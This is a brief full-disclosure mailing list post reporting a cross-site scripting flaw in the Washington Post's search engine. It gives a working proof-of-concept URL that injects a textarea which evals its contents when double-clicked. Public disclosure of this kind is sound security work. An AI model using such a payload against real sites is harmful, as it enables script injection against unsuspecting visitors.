WashingtonPost.com XSS Vulnerability

[full-disclosure () lists netsys com (Matthew Murphy)]

The Washington Post search filter forgot something -- links.  The links
returned in the Post's search engine output contain HTML markup as entered,
resulting in cross-site scripting.

http://search1.washingtonpost.com/?_g.k_1=%22%3Eabc%3C%2Fa%3E%3CTEXTAREA+STY
LE%3Dheight%3A300px%3Bwidth%3A300px%3B+ONDBLCLICK%3Deval%28this.value%29%3E%
3C%2FTEXTAREA%3E&_v.7=92&_u.14=1&_u.1=8&_u.2=4&_u.3=2002&_u.4=8&_u.5=17&_u.6
=2002&wp=on&ap=&_b.1.x=0&_b.1.y=0

"The reason the mainstream is thought
of as a stream is because it is
so shallow."
                     - Author Unknown